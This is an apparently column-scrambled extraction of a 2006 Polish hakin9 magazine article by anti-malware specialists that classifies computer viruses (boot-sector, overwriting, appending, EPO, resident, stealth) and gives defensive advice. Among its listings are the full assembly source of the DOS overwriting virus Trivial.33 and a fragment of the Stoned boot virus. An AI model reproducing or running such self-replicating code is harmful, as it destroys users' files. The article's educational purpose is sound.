You are on page 1of 9

Rodzaje wirusów

komputerowych
Bartłomiej Rudzki, Piotr Modzelewski

Artykuł w formie elektronicznej pochodzi z magazynu hakin9 Nr 5/2006. Wszelkie prawa zastrzeżone.
Rozpowszechnianie artykułu bez zgody Software Wydawnictwo Sp. z o.o. Zabronione.
Magazyn hakin9, Software-Wydawnictwo, ul. Bokserska 1, 02-682 Warszawa, pl@hakin9.org
Rodzaje wirusów
komputerowych
Teoria

Bartłomiej Rudzki, Piotr Modzelewski

stopień trudności

Jednym z najgłośniejszych tematów związanych z informatyką


poruszanych w mediach jest aspekt wirusów komputerowych.
Wirusy, a dokładniej cała grupa niebezpiecznych programów
nazywanych angielskim terminem malware, jest bardzo
wdzięcznym tematem dla prasy i telewizji: niszczą dane,
wywołują spektakularne ataki skutkujące gigantycznymi stratami
finansowymi, wywołują panikę u ludzi.

H
istoria wirusów komputerowych sięga Pierwszym wirusem dla komputerów PC był
przełomu lat 50 i 60 XX wieku, kiedy to Brain napisany w 1986 r. przez braci Basita i
amerykański naukowiec John von Neu- Amjada Farooq Alvi z Pakistanu. Był to prosty
mann, znany jako konstruktor pierwszej bomby wirus infekujący boot-sektory dyskietek o po-
atomowej, rozpoczął badania na temat samo- jemności 360 KB. Jego działanie ograniczało
powielających się automatów. Dało to naukowe się do zmiany etykiety dysku na (c) Brain. War-
podstawy budowy samoczynnie rozprzestrze- to zauważyć, że Brain był również pierwszym
niających się programów komputerowych, któ- wirusem, który potrafił się ukrywać. Po wykry-
re później zostały nazwane wirusami. ciu próby odczytu zainfekowanego sektora, wi-
Pierwszy znany wirus komputerowy poja- rus wyświetlał oryginalne, niezainfekowane da-
wił się w 1970, kiedy to w sieci wojskowej AR- ne. W przeciwieństwie do samego wirusa, je-
PANET pojawił się program Creeper. Był on go twórcom nie zależało na anonimowości – w
napisany pod system operacyjny TENEX. Po- kodzie wirusa zostawili swoje nazwiska, adres i
trafił nawiązać połączenie modemowe i sko- numery telefonów.
piować do zdalnego systemu. Zainfekowa-
ne systemy wyświetlały tekst I’m the creeper:
catch me if you can. (ang. Jestem CREEPER: Z artykułu dowiesz się...
złap mnie jeśli zdołasz). Ciekawostką jest
• czym są wirusy komputerowe,
fakt, iż szybko pojawił się program Reaper, • jak rozwijały się na przestrzeni lat,
który wyszukiwał i niszczył Creepera. • jak wirus zaraża komputer,
Od tamtego czasu coraz częściej po- • jak zmniejszyć ryzyko zarażenia.
jawiało się szkodliwe oprogramowanie, na
przykład Rabbit, Elk Cloner lecz dopiero w Powinieneś wiedzieć...
1983 roku, Len Adleman, naukowiec Lehigh
University po raz pierwszy zaproponował na- • podstawy języka assembler
zwę wirus oznaczającą samopowielający się • podstawy architektury mikroprocesorów x86.
program.

56 hakin9 Nr 5/2006 www.hakin9.org


Rodzaje wirusów komputerowych

Dalej poszło już szybko: w 1987


roku nastąpiła pierwsza infekcja ska- Listing 1. Fragment kodu wirusa Stoned
li światowej przez wirus Vienna, w START3: XOR AX,AX ; Początek zainfekowanego boot-sektora
1988 powstał pierwszy internetowy MOV DS,AX ; DS=SS=0
robak Roberta Morisa, a w 1989 tro- CLI ; wyłączenie przerwań na czas zmiany stosu
jan AIDS zainfekował ponad 10000 MOV SS,AX
MOV SP,7C00H ; ustawienie stosu na 0000:7C00
dyskietek. W 1992 roku pojawiła się
STI ; przywrócenie przerwań
pierwsza histeria medialna dotyczą- MOV AX,WORD PTR ds:[INT13_OFF] ;pobranie obecnego wektora
ca wirusa Michelangelo, oprogramo- przerwania 13h
wania które 6 marca, tj. w urodziny MOV [OLD_INT13_OFF],AX ; i zapisanie go w celu późniejszego
Michała Anioła, aktywowało się, a użycia
MOV AX,WORD PTR ds:[INT13_Seg]
następnie niszczyło logiczną struktu-
MOV [OLD_INT13_SEG],AX
rę dysków opartych na systemie pli- MOV AX,[MEM_SIZE] ; pobranie rozmiaru pamięci (w KB)
ków FAT. DEC AX ; odjęcie 2KB
Połowa lat 90 to czas w którym DEC AX
główne zagrożenie stanowiły wirusy MOV [MEM_SIZE],AX ; zapisanie zmienionego rozmiaru
MOV CL,6 ; Zmiana rozmiaru pamięci na wartość segmentu
napisane jako makro do MS Office,
SHL AX,CL
popularnie znane jako makrowirusy MOV ES,AX ; i zapamiętanie w rejestrze es
oraz pierwsze wirusy dla systemu MOV [HIMEM_SEG],AX ; oraz w zmiennej
Windows 95 (na przykład W95.Bo- MOV AX,OFFSET INT_13h - 7C00h ; nadpisanie przerwania 13h
za). Kolejne lata zdążyły wszystkich MOV WORD PTR DS:[INT13_OFF],AX
MOV WORD PTR DS:[INT13_SEG],ES
przyzwyczaić do masowych ataków:
MOV CX,OFFSET END_VIRUS - 7C00h
w 1998 wirus W95/CIH napisany PUSH CS
przez studenta z Tajwanu Chen Ing- POP DS
Hau, który zainfekował około 600 XOR SI,SI ;SI=DI=0
000 komputerów, w 1999 pierwszy MOV DI,SI
CLD
robak napisany jako makro MS Word
REP MOVSB ; załadowanie wirusa do pamięci wysokiej
– Melissa wywołał 385 milionów do- JMP DWORD PTR CS:[HIMEM_OFS-7C00h] ; i wykonanie jego kodu
larów strat. HIMEM:
Ostatnie lata to okres szybko roz- MOV AX,0 ; zresetowanie dysku
przestrzeniających się robaków in- INT 13h
XOR AX,AX
ternetowych wykorzystujących luki w
MOV ES,AX ;ES=0
systemach operacyjnych. W dzisiej- MOV AX,201h ; przygotowanie do załadowania oryginalnego boot-
szych czasach ataki są powszech- sektora
ne, korporacje wprowadziły procedu- MOV BX,7C00h
ry związane z ochroną antywirusową CMP BYTE PTR CS:[DRIVE_NO-7C00H],0 ; z którego dysku startujemy
JE FLOPPY_BOOT ; z dyskietki
a nazwy wirusów takie jak: ILoveYou,
HARD_BOOT:
CodeRed, Blaster, MyDoom czy Sas- MOV CX,7 ; z dysku twardego
ser stały się powszechnie znane. MOV DX,80h ; odczytanie Cyl 0, Hd 0, Sec 7
INT 13h ; gdzie jest zapisany oryginalny boot-sektor
Wirusy dyskowe JMP SHORT GO_BOOT ; i skok do tego miejsca
NOP
Typowy dysk twardy komputera PC
podzielony jest od strony fizycznej FLOPPY_BOOT: MOV CX,3 ; z dyskietki
na cylindry, ścieżki i sektory oraz MOV DX,100H ;odczytanie Cyl 0, Hd 1, Sec 3
od strony logicznej na partycje, któ- INT 13h ; gdzie jest zapisany oryginalny boot-sektor
rym system operacyjny przydziela JC GO_BOOT ; skok, jesli błąd
TEST BYTE PTR ES:[TIMER],7 ; w 1/8 przypadków wypisujemy
unikalne nazwy. W przypadku sys-
komunikat
temów MS-DOS i Windows NT są JNZ MESSAGE_DONE
to litery C:, D:, itd. System operacyj- MOV SI,OFFSET STONED_MSG1 - 7C00H
ny jest obecnie ładowany najczęściej PUSH CS
z dysku twardego lub z sieci, jednak POP DS ;DS=CS

w przypadku wczesnych systemów


operacyjnych komputery korzystały z ny kod. Stwarzało to ogromne moż- kość rozprzestrzeniania infekcji była
dyskietek systemowych. ROM-BIOS liwości dla rozpowszechniania wiru- jednak ograniczona faktem, iż wirus
odczytywał pierwszy sektor dyskiet- sów, których kod mógł być załado- mógł się znaleźć na innym kompute-
ki, ładował go do pamięci pod adres wany do pamięci przed załadowa- rze wyłącznie poprzez użycie zainfe-
[0000:7C00] i wykonywał załadowa- niem systemu operacyjnego. Pręd- kowanej dyskietki startowej.

www.hakin9.org hakin9 Nr 5/2006 57


Teoria

kie wirusy są bardzo szybko wykry-


wane przez użytkowników, dlatego ta
metoda ma większy potencjał, jeże-
li jest wykorzystywana w środowisku
sieciowym.
Nadpisywanie części kodu nosi-
ciela własnym kodem jest metodą in-
fekcji trudniejszą do wykrycia. Plik taki
Rysunek 1. Wirus nadpisujący (a) nie zmienia swojego rozmiaru na dys-
ku a jednocześnie czasami jest wyko-
nywany poprawnie. Ta metoda infekcji
jest wykorzystywana przez tzw. małe
wirusy. Na początku lat dziewięćdzie-
siątych twórcy wirusów starali się napi-
sać jak najkrótsze wirusy binarne. Re-
zultatem ich wysiłków jest m.in. rodzi-
na Trivial. Najkrótszy z tych wirusów
ma długość tylko 22 bajtów, jednak je-
go kod jest w dużej mierze oparty na
niepewnych założeniach odnośnie po-
czątkowej zawartości rejestrów proce-
sora. Na listingu przedstawiony został
Rysunek 2. Wirus nadpisujący (b) – Trivial
jeden z najprostszych a jednocześnie
Na nowszych systemach wystę- Wirusy nadpisujące niekorzystający z takich założeń wa-
puje główny rekord startowy (ang. ma- (ang. Overwriting viruses) riant wirusa.
ster boot record – MBR). Zajmuje 512 Wirusy nadpisujące to rodzaj wirusów, Innym rzadkim wariantem wiru-
bajtów (446 bajtów kodu rozruchowe- który zastępuje całość lub część kodu sów nadpisujących są wirusy nadpi-
go, 4 struktury po 16 bajtów opisujące nosiciela własnym kodem. Nadpisanie sujące plik nosiciela w losowym miej-
partycje podstawowe i 2 bajty sygna- całego pliku nosiciela to bardzo prymi- scu (np. rosyjski wirus Omud). Oczy-
tury 0x55AA) i umiejscowiony jest na tywna metoda, ale z całą pewnością wiście wirus nie ma żadnej pewno-
pierwszej ścieżce, w pierwszym cylin- najprostsza. Może również spowodo- ści, że zostanie wykonany, a jedno-
drze, w pierwszym sektorze dysku wać olbrzymie problemy, jeżeli nadpi- cześnie w większości przypadków
twardego. Wirusy takie, jak: Stoned, sane zostały pliki na całym dysku. Ta- uszkadza nosiciela w stopniu niepo-
Azusa, StarShip czy Tequila infekowa-
ły MBR, co powodowało ich ładowanie Listing 2. Kod wirusa Trivial.33
podczas ładowania systemu operacyj-
nego z dysku twardego. .MODEL TINY
.CODE
Wirusy dyskowe są dzisiaj prak-
ORG 100h
tycznie niespotykane, ponieważ dys-
kietki startowe wyszły z powszech- begin:
nego użytku. Są jednak niebezpiecz- LEA DX,COM_FILES ; znalezienie pliku *.COM
ne, ponieważ mogą zainfekować MOV AH,4Eh
INT 21h
komputer niezależnie od używane-
go systemu operacyjnego. MOV AX,3D02h ; otwarcie pliku do odczytu/zapisu
MOV CX,(OFFSET EOF-OFFSET BEGIN) ; 33 bajty
Wirusy plikowe MOV DX,9Eh ; pierwszy plik w DTA
Wirusy infekujące pliki to najczęściej INT 21h

spotykany rodzaj wirusów. Zazwy-


XCHG AX,BX
czaj po wykonaniu kodu wirusa, plik MOV DX,100h
będący nosicielem odzyskuje kontro- MOV AH,40h ; Zapisanie kodu wirusa
lę nad przepływem sterowania i jego INT 21h
działanie jest niezakłócone. To po-
RETN ; powrót do DOS
zwala wirusom na dłuższe ukrycie
swojej obecności. COM_FILES DB '*.com',0 ; Szukamy plików *.COM
Wirusy plikowe możemy podzie- EOF:
lić na kilka rodzajów w zależności od END BEGIN
sposobu infekcji pliku nosiciela.

58 hakin9 Nr 5/2006 www.hakin9.org


Rodzaje wirusów komputerowych

go punktu wejścia nagłówku pliku


NE (New Executable – format plików
używanych w Windows 3.x), zamiast
tego szukał nazw modułów KERNEL
i VBRUN300 w tablicy referencji mo-
dułów pliku. Rekord 91 modułu KER-
NEL (INITTASK) oraz rekord 100
modułu VBRUN300 wskazują na
standardowy kod inicjalizacyjny, któ-
ry musi być wykonany na początku
każdej aplikacji Windows. Na przy-
kład program keyview.exe posiada
Rysunek 3. Wirus nadpisujący (c)
następujący wpis relokacji dla KER-
zwalającym na poprawne wykonanie pisane są w językach wysokiego po- NEL.91 dla pierwszego segmentu:
jego kodu. Dlatego infekcje tego typu ziomu (np. C, Pascal lub Delphi). Kiedy program keyview.exe zo-
wirusami mają ograniczony zasięg. Czasem wykorzystują pliki tymcza- stanie zainfekowany, wirus zmienia
Istnieją również wirusy nadpi- sowe do przechowywania zawarto- ten rekord, aby wskazywał na nowy
sujące te fragmenty pliku nosiciela, ści oryginalnego programu. segment VIRUS_SEGMENT.
które nie są wykorzystywane pod- Zainfekowany plik uruchamia się
czas normalnego uruchomienia (np. Wirusy EPO tak, jak przed infekcją, ale kiedy apli-
wyrównanie sekcji w pliku PE czy Wirusy EPO (ang. Entry-Point Ob- kacja próbuje wywołać jedną z wy-
wyrównanie instrukcji przez kompi- scuring - ukrywanie punktu wejścia) mienionych wyżej funkcji inicjaliza-
latory C bajtami 0CCh). to wirusy, które nie zmieniają adre- cyjnych, kontrola zostaje przekazana
su pierwszej wykonywanej instrukcji, do adresu, gdzie zaczyna się wirus.
Wirusy dopisywane do pliku nie zmieniają również samej instruk- Segment VIRUS_SEGMENT po-
nosiciela cji zapisanej pod tym adresem. Za- siada trzy rekordy relokacji. Jeden z
Bardzo typową infekcją plików COM miast tego analizują wykonanie kodu nich wskazuje na oryginalną funkcję
w systemie operacyjnym DOS jest programu (tak, jak robią to debugge- inicjalizacyjną. W ten sposób wirus
wstawienie instrukcji skoku (JMP) na ry) i w pewnym miejscu kodu wyko- jest w stanie wywołać oryginalny kod
początku nosiciela. Skok jest wyko- nują skok (poprzez instrukcję CALL po wykonaniu swojego.
nywany do kodu wirusa umieszczo- lub przy użyciu sztuczki polegającej W systemach 32-bitowych tech-
nego za całym kodem programu. na umieszczeniu na stosie adresu i niki EPO stały się bardzo zaawan-
Nadpisane instrukcją skoku bajty (od wykonaniu polecenia RET; powoduje sowane. Większość metod infekcji
3 do 16) umieszczane są pod koniec to również wykonanie instrukcji pod znanych w systemach 16-bitowych
kodu wirusa. Przy uruchomieniu pro- żądanym adresem). została z powodzeniem przeniesio-
gramu wykonywany jest kod wirusa, Jednym z pierwszych wirusów na na nowe platformy (np. rodzina
zapamiętane bajty są ładowane w EPO była rodzina Tentacle_II dzia- W32/Idele infekowała pliki PE na po-
pamięci do miejsca, gdzie wystąpiła łająca pod systemem Windows 3.x. dobnej zasadzie jak Tentacle_II infe-
instrukcja skoku (plik jest “leczony” w Wirus ten nie zmieniał oryginalne- kował pliki NE).
pamięci) i przepływ sterowania wra-
ca do początku programu – wykony-
wany jest oryginalny program.
Ta technika może być wykorzy-
stywana w każdym typie pliku wyko-
nywalnego (EXE, NE, PE, ELF, itd.).
Pliki takie posiadają nagłówek, w
którym zapisany jest początek kodu
zamieniany podczas infekcji na in-
strukcje skoku do kodu wirusa.
Wirusy mogą być również dopi-
sywane na początek pliku nosiciela.
Takie wirusy są bardziej skompliko-
wane niż opisane wcześniej, ponie-
waż poprawne wykonanie kodu nosi-
ciela musi być zapewnione przez po-
nowne obliczenie wykorzystywanych
adresów. Dlatego takie wirusy często Rysunek 4. Wirus nadpisujący (d)

www.hakin9.org hakin9 Nr 5/2006 59


Teoria

• Wirus przejmuje kontrolę nad


systemem,
• Alokuje blok pamięci na własny
kod,
• Przenosi swój kod do zaalokowa-
nego bloku pamięci,
• Aktywuje się w zaalokowanym
bloku,
• Zostawia w pewnym miejscu
“uchwyt” do kodu w pamięci,
• Infekuje kolejne pliki.

W systemach operacyjnych jedno-


zadaniowych takich, jak DOS, pro-
Rysunek 5. Wirus dopisywany na koniec nosiciela gramy, które miały działać podczas
działania innego programu musiały
Format plików PE (Portable Exe- Jedna z najpopularniejszych stać się wcześniej rezydentne (TSR –
cutable) został wymyślony przez fir- technik EPO w plikach PE jest oparta Terminate-and-Stay-Resident). DOS
mę Microsoft do użytku we wszyst- na przechwytywaniu wywołań funk- zapewniał wiele sposobów używa-
kich 32-bitowych wersjach systemu cji API (ang. Application Program In- nia takich programów w formie ob-
Windows. Ważną jego cechą jest fakt, terface – interfejs programowy apli- sługi przerwań.
iż kod wykonywalny na dysku jest bar- kacji) w sekcji kodu programu. Adres Tablica wektorów przerwań (IVT
dzo podobny do tego, jak dany moduł instrukcji CALL DWORD PTR [ad- – Interrupt Vector Table) jest umiesz-
będzie wyglądał w pamięci po załado- res] (lub w implementacji Borlanda czona na początku pamięci fizycz-
waniu go przez system Windows. W JMP DWORD PTR [adres]) zostaje nej, pod adresem [0000:0000h].
16-bitowych aplikacjach było inaczej i zmodyfikowany tak, aby wskazywał Jest to obszar 1 kilobajta, w którym
system podczas ładowania programu na kod wirusa. Zazwyczaj wybiera- zapisane są 4-bajtowe adresy in-
musiał obliczać wszystkie odwołania ne są adresy znanych funkcji, to zna- strukcji obsługi kolejnych przerwań.
do zewnętrznych bibliotek. W pliku PE czy takich, które powinny być wywo- Przykładowo adres obsługi prze-
cała pamięć używana przez sekcje ko- ływane w celu zapewnienia stabilno- rwania 21h znajduje się pod adre-
du, danych, zasobów, tablic importów i ści systemu operacyjnego (np. Exit- sem [0000:0084h]. Jak widać, wirus
eksportów jest jednym ciągłym obsza- Process()). bez problemu mógł przechwycić do-
rem liniowej przestrzeni adresowej. wolne przerwanie poprzez wpisanie
Jedyną zmienną jest adres bazowy Wirusy rezydentne adresu swojej procedury do tablicy
obliczany przez system podczas łado- Bardzo efektywną klasą wirusów są wektorów przerwań.
wania aplikacji. Pozostałe adresy uży- wirusy pozostające w pamięci po ini- Najczęściej przechwytywane
wane w kodzie są względne do tego cjalizacji swojego kodu. Zazwyczaj przez wirusy przerwania i ich za-
adresu. Kolejną ważną cechą formatu schemat ich działania jest następu- stosowania przedstawione są w Ta-
PE jest podział na sekcje. Sekcje pliku jący: beli 4.
można z dużym przybliżeniem porów-
nać do segmentów znanych z plików
NE. Mogą one zawierać kod wykony-
walny albo dane programu.
Plik PE rozpoczyna się od nagłów-
ka, w którym znajdują się między in-
nymi: stub (krótki program w forma-
cie EXE, który ma za zadanie wypisać
wiadomość błędu – zazwyczaj This
program cannot be run in DOS mode
– Ten program nie może być urucho-
miony w trybie DOS i zakończyć dzia-
łanie programu), informacje o liczbie,
rodzaju i wielkościach sekcji, wskaźni-
ki do tych sekcji, adres punktu wejścia
do programu czy suma kontrolna pro-
gramu. Każda z tych informacji może-
być istotna dla wirusa. Rysunek 6. Przykład wirusa EPO

60 hakin9 Nr 5/2006 www.hakin9.org


Rodzaje wirusów komputerowych

Tabela 1. Rekordy relokacji segmentu 0001h pliku, fałszywą ilość dostępnej pa-
Typ Przesunięcie Cel mięci lub nawet fałszywą zawartość
sektorów dysku. Wykrycie takiego
PTR 0053h USER.1
wirusa podczas gdy był on aktywny
OFFS 007Eh KERNEL.178 w pamięci było praktycznie niemoż-
PTR 0073h FAXOPT.12 liwe. Jedynym sposobem jego wy-
PTR 00D3h USER.5 krycia było uruchomienie systemu
PTR 005Bh FAXOPT.44 z czystej dyskietki i zapobieżenie w
ten sposób jego aktywacji.
PTR 00CAh KERNEL.30
PTR 0031h USER.176 Obecne zagrożenia
PTR 00A0h KERNEL.91 (INITTASK) W chwili obecnej wirusy nie są już
PTR 008Eh KERNEL.102 tak powszechne jak pod koniec XX
w. Celem twórców wirusów nie jest
Tabela 2. Nowe rekordy relokacji segmentu (segment 0001h) już, jak dawniej, chęć pokazania in-
nym swoich umiejętności, ale chęć
Typ Przesunięcie Cel
osiągnięcia zysku. Również środki
PTR 0053h USER.1 przy użyciu których rozprzestrzenia
OFFS 007Eh KERNEL.178 się szkodliwe oprogramowanie ule-
PTR 0073h FAXOPT.12 gły zmianom: dawniej były to dys-
PTR 00D3h USER.5 kietki, dzisiaj rolę głównego medium
przejęły sieci komputerowe (w tym
PTR 005Bh FAXOPT.44
internet).
PTR 00CAh KERNEL.30 Nie oznacza to, że twórcy szko-
PTR 0031h USER.176 dliwego oprogramowania spoczę-
PTR 00A0h 0003h:002Eh (VIRUS_SEGMENT:2Eh) li na laurach, wręcz przeciwnie: ro-
dzajów malware'u jest coraz więcej.
PTR 008Eh KERNEL.102
Poniżej znajduje się lista najpopular-
niejszych typów zagrożeń i sposoby
Instalacja w pamięci pod DOS łatwo może być zauważony przez ich uniknięcia.
Najprostszym sposobem instalacji użytkownika.
wirusa w pamięci jest nieprzejmo- Inne wirusy używają egzotycznych Robak (ang. worm)
wanie się w ogóle alokacją pamięci. metod takich, jak: alokowanie pamięci Robakiem nazywamy program, któ-
Wirus Stupid instalował się jak naj- na obszarze stosu (Lehigh), alokowa- ry powiela się bez wiedzy lub zgo-
wyżej w dozwolonym obszarze pa- nie pamięci w obszarze powyżej 1MB dy użytkownika, głównie za pośred-
mięci 640 kB, ale nie zmieniał war- (Starship, Tremor), instalowanie się w nictwem sieci. Rzadko infekuje pliki,
tości górnej granicy pamięci trzy- jądrze systemu DOS (Darth_Vader) chociaż zdarzają się przypadki ich
manej pod adresem [0000:0413h]. czy modyfikacja bloku kontroli pamięci modyfikacji. Mailery i mass-maile-
Liczył na to, że obszar ten nie bę- (Cascade, Shimmer). ry to podtypy robaków wykorzystu-
dzie zaalokowany przez żaden inny jące do rozprzestrzeniania protokół
program. Oczywiście wirus zosta- Ukrywanie w pamięci poczty elektronicznej (te drugie po
nie uszkodzony, kiedy jakiś program Wirusy ukrywające się w pamię- uruchomieniu rozsyłają się w dużych
użyje tego obszaru pamięci. ci (ang. Stealth) przechwytują funk- ilościach), najczęściej przesyłane są
Inną metodą jest zainstalowa- cję lub zestaw funkcji systemowych w formie załączników dołączonych
nie się w obszarze rzadko używa- w taki sposób, że użytkownik otrzy- do wysyłanych losowo e-maili.
nym. Przykładowo tablica IVT po- muje dane przetworzone przez wiru- Ciekawostką jest fakt, że niektóre
wyżej adresu [0000:0200h] jest bar- sa. W ten sposób wirus może poka- robaki nie występują w formie plików,
dzo rzadko używana, wirusy używa- zywać fałszywy rozmiar zarażonego ale odpowiednio spreparowanych
ją więc tego obszaru licząc na to, iż
przerwania powyżej INT 80h nie bę- Tabela 3. Nowe rekordy relokacji segmentu (segment 0003h – VIRUS_
dą przechwycone. SEGMENT)
Kolejnym sposobem jest mody- Typ Przesunięcie Cel
fikacja wartości trzymanej pod ad- PTR 2964h SHELL.6 (REGQUERYVALUE)
resem [0000:0413h] oznaczającej
PTR 2968h SHELL.5 (REGSETVALUE)
dostępną ilość pamięci. W ten spo-
sób wirus może bezpiecznie zain- PTR 296Ch KERNEL.91 (INITTASK ->
stalować się powyżej tego limitu, ale STARTHOST)

www.hakin9.org hakin9 Nr 5/2006 61


Teoria

skiej nazwy. Rootkitem nazywamy


Listing 3. Przechwytywanie przerwania 13h program, który zostaje ukryty przed
MOV AX,[004Eh] ; segment przerwania 13h
użytkownikiem tak w pamięci (ukry-
MOV [OLD_INT13_SEG],AX ; zapisanie w zmiennej cie procesów) jak i na dysku (ukrycie
MOV AX,[004Ch] ; przesunięcie przerwania 13h plików) lub w rejestrze systemowym.
MOV [OLD_INT13_OFF],AX ; zapisanie w zmiennej Rootkity są wykorzystywane przez
MOV AX,NEW_INT13_SEG ; segment procedury obsługi przerwania
hackerów do uzyskania pełnego do-
MOV [004Eh],AX ; zapisanie w IVT
stępu do systemu i zazwyczaj roz-
MOV AX,NEW_INT13_OFF ; przesunięcie procedury obsługi przerwania powszechniane w formie trojanów
MOV [004Ch],AX ; zapisanie w IVT udających funkcjonalność zwykłych
programów/bibliotek systemowych.
W celu ich uniknięcia należy sto-
pakietów, które po odebraniu przez niektóre robaki jako załączniki do sować się do zasad opisanych przy
właściwe aplikacje zostają zapisane wiadomości e-mail (czasem rzeko- trojanach.
do pamięci jako szkodliwy kod. Przy- mo pochodzących od osób z naszej
kładem takiego robaka jest słynny książki adresowej) – warto wtedy po- Adware/Spyware
CodeRed. twierdzić u nadawcy fakt wysłania Te nowe typy aplikacji pojawiły się
Aby uniknąć robaków, należy in- programu inną drogą niż e-mail. niedawno jako bezpośredni efekt
stalować najnowsze poprawki i uak- rosnącej komercjalizacji internetu.
tualnienia systemu operacyjnego za- Ukryte/Tylne Wejście Wiele firm jest zainteresowanych,
lecane przez producenta oraz unikać (Backdoor) czego użytkownicy szukają na sie-
otwierania załączników do wiadomo- Jest to narzędzie wykorzystywane ci (zwłaszcza, jakie produkty zamie-
ści e-mail pochodzących z niezna- przez hackerów w celu uzyskania rzają kupić). Dlatego niektóre z nich
nych źródeł. zdalnego dostępu do systemów. Ty- oferują użytkownikom jakąś funkcjo-
powy backdoor otwiera port sieciowy nalność wzamian za zainstalowanie
Koń trojański (UDP/TCP) na komputerze, na któ- razem z udostępnianym produktem
(ang. trojan [horse]) rym został uruchomiony i nasłuchu- programu wyświetlającego reklamy
Obecnie jeden z najpopularniej- je na nim, oczekując na komendy, (adware) lub monitorującego zacho-
szych typów szkodliwych progra- które może wykonać lokalnie (mo- wanie użytkownika (spyware). Mi-
mów. Dzieli się na wiele podtypów, gą to być przykładowo: stworzenie/ mo, iż jako takie programy te nie wy-
z których wybrane zostały scharak- skasowanie pliku lub wpisu w re- wołują szkodliwych efektów, są one
teryzowane poniżej. Koń trojański jestrze, uruchomienie innego pro- niebezpieczne, ponieważ nie mamy
próbuje zainteresować użytkownika gramu, logowanie akcji użytkowni- wpływu na to, jakie dane gromadzą i
i zachęcić do uruchomienia go jakąś ka lub zakończenie jakiegoś proce- przesyłają do firmy.
użyteczną funkcjonalnością (najczę- su – na przykład programu antywiru- Nowoczesne programy antywi-
ściej darmowym dostępem do płat- sowego lub zapory sieciowej). Back- rusowe wykrywają te aplikacje ja-
nych serwisów internetowych bądź doory często są rozsyłane takimi sa- ko niebezpieczne programy. W celu
usprawnieniem działania kompute- mymi metodami, jak trojany, dlatego uniknięcia ich potencjalnie szkodli-
ra). Jednak po uruchomieniu wyko- można się przed nimi zabezpieczyć wego działania należy nie instalować
nuje szkodliwe czynności (na przy- w ten sam sposób. programów, które w umowie licencyj-
kład: wykradanie haseł – PWS, nej mają zapis o gromadzeniu da-
Password-Stealer, ściąganie z sie- Rootkit nych o użytkowniku bądź wyświetla-
ci innych programów – downloader, Ten typ szkodliwego oprogramo- niu reklam. Warto również posiadać
zmiana modemowego numeru do- wania nie ma jeszcze oficjalnej pol- aktualne bazy sygnatur malware'u w
stępu do sieci na inny – dialer, insta-
lowanie innych szkodliwych progra-
mów - dropper czy logowanie czyn- W Sieci
ności przeprowadzanych przez użyt- • http://av-test.org/ – strona AV-TESTu – projektu porównującego dostępne opro-
kownika – keylogger). gramowanie antywirusowe,
W celu zapewnienia ochrony • http://www.viruslist.pl/ – Encyklopedia wirusów.
komputera należy wystrzegać się
uruchamiania programów pochodzą-
cych z niepewnych/nielegalnych źró-
deł. Warto również wiedzieć, iż nie- O autorach
które trojany podają się za prawidło- Bartłomiej Rudzki i Piotr Modzelewski są specjalistami firmy MKS Sp. z.o.o. w zakresie
we, komercyjne oprogramowanie. zwalczania szkodliwego oprogramowania.
Potrafią także być rozsyłane przez

62 hakin9 Nr 5/2006 www.hakin9.org


Rodzaje wirusów komputerowych

Tabela 4. Typowe przerwania używane przez wirusy


Numer Nazwa przerwania Adres w IVT Zastosowanie przez wirusa
INT 00h Divide Error [0000:0000h] Anty-debugowanie,
anty-emulacja
INT 01h Single Step [0000:0004h] Anty-debugowanie, tunelowanie, EPO
INT 03h Breakpoint [0000:000Ch] Anty-debugowanie, śledzenie
INT 04h Overflow [0000:0010h] Anty-debugowanie,
anty-emulacja
INT 05h Print Screen [0000:0014h] Procedura aktywacji,
anty-debugowanie
INT 06h Invalid Opcode [0000:0018h] Anty-debugowanie,
anty-emulacja
INT 08h System Timer [0000:0020h] Procedura aktywacji,
anty-debugowanie
INT 09h Keyboard [0000:0024h] Anty-debugowanie, wykradanie haseł, obsługa Ctr-
l+Alt+Del
INT 0Dh IRQ 5 – HD Disk (XT) [0000:0034h] Ukrycie na poziomie sprzętu
(w XT)
INT 10h Video [0000:0040h] Procedura aktywacji
INT 12h Get Memory Size [0000:0048h] Sprawdzenie rozmiaru pamięci RAM
INT 13h Disk [0000:004Ch] Infekcja, procedura aktywacji, ukrycie
INT 19h Bootstrap Loader [0000:0064h] Fałszywy restart systemu
INT 1Ah Time [0000:0068h] Procedura aktywacji
INT 1Ch System Timer Tick [0000:0070h] Procedura aktywacji
INT 20h Terminate Program [0000:0080h] Infekcja przy wyjściu z programu, zabicie procesu
pierwotnego
INT 21h DOS Service [0000:0084h] Infekcja, ukrycie, procedura aktywacji
INT 23h Control-Break Handler [0000:008Ch] Anty-debugowanie, zapobieganie przerwaniu infekcji
INT 24h Critical Error Handler [0000:0090h] Unikanie błędów DOS podczas infekcji (zazwyczaj
przechwytywane tymczasowo)
INT 25h DOS – Absolute Disk Read [0000:0094h] Infekowanie dysków, ukrycie (prowadzi do przerwa-
nia INT 13h)
INT 26h DOS – Absolute Disk Write [0000:0098h] Infekowanie dysków, ukrycie (prowadzi do przerwa-
nia INT 13h)
INT 27h Terminate-and-Stay-Resident [0000:009Ch] Pozostanie w pamięci
INT 28h DOS Idle Interrupt [0000:00A0h] Wykonywanie akcji TSR podczas oczekiwania na
dane użytkownika
INT 2Ah Network Redirector [0000:00A8h] Infekcja plików bez użycia przerwania INT 21h
INT 2Fh Multiplex Interrupt [0000:00BCh] Infekcja pamięcia HMA, dostęp do struktur dysko-
wych
INT 40h Diskette Handler [0000:0100h] Blokowanie dostępu
INT 76h IRQ 14 HD Operation [0000:01D8h] Ukrycie na poziomie sprzętowym (AT i późniejsze)

programie antywirusowym. Ta ostat- na kontakt ze szkodliwym opro- łączników e-mail pochodzących


nia rada ma również zastosowanie w gramowaniem. Twórcy malware- z zaufanych źródeł oraz zainsta-
każdym opisanym powyżej rodzaju 'u stosują coraz wymyślniejsze lowanie programu antywirusowe-
szkodliwego oprogramowania. środki, aby osiągnąć coraz więk- go wraz z aktualnymi bazami sy-
sze zyski. Nie należy jednak wpa- gnatur pozwolą nam w spokoju
Podsumowanie dać w panikę! Stosowanie się do cieszyć się użytkowaniem nasze-
Przeciętny użytkownik kompute- zasad zdrowego rozsądku, uru- go komputera. l
ra jest coraz bardziej narażony chamianie tylko programów i za-

www.hakin9.org hakin9 Nr 5/2006 63

You might also like